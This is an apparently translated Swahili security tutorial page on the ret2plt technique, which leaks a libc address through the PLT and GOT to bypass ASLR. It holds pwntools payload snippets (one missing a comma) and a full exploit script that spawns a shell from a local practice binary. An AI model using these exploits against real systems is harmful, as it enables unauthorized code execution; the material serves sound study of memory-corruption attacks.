Ret2plt

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Taarifa Msingi

Lengo la mbinu hii ni kuvuja anwani kutoka kwa kazi kutoka kwa PLT ili kuweza kukiuka ASLR. Hii ni kwa sababu ikiwa, kwa mfano, unavuja anwani ya kazi puts kutoka kwa libc, basi unaweza kukadiria wapi msingi wa libc uko na kukadiria offsets kufikia kazi nyingine kama vile system.

Hii inaweza kufanywa na mzigo wa pwntools kama (kutoka hapa):

# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)

# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)

Tafadhali angalia jinsi puts (ikitumia anwani kutoka kwa PLT) inavyoitwa na anwani ya puts iliyopo kwenye GOT (Global Offset Table). Hii ni kwa sababu wakati puts inachapisha kuingia kwa GOT ya puts, kuingia hicho kitakuwa na anwani sahihi ya puts kwenye kumbukumbu.

Pia angalia jinsi anwani ya main inavyotumiwa katika shambulizi ili wakati puts inamaliza utekelezaji wake, binary inaita main tena badala ya kutoka (hivyo anwani iliyovuja itaendelea kuwa halali).

Tafadhali angalia jinsi ili hili lifanye kazi binary haitakiwi kuwa imeunganishwa na PIE au lazima uwe umepata kuvuja kwa kuzidi PIE ili kujua anwani ya PLT, GOT, na main. Vinginevyo, unahitaji kuzidi PIE kwanza.

Unaweza kupata mfano kamili wa kuzidi hapa. Hii ilikuwa shambulizi la mwisho kutoka kwenye mfano huo:

from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvline()

payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)

p.sendline(payload)

puts_leak = u32(p.recv(4))
p.recvlines(2)

libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)

p.sendline(payload)

p.interactive()

Mifano Mingine & Marejeo

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:

Last updated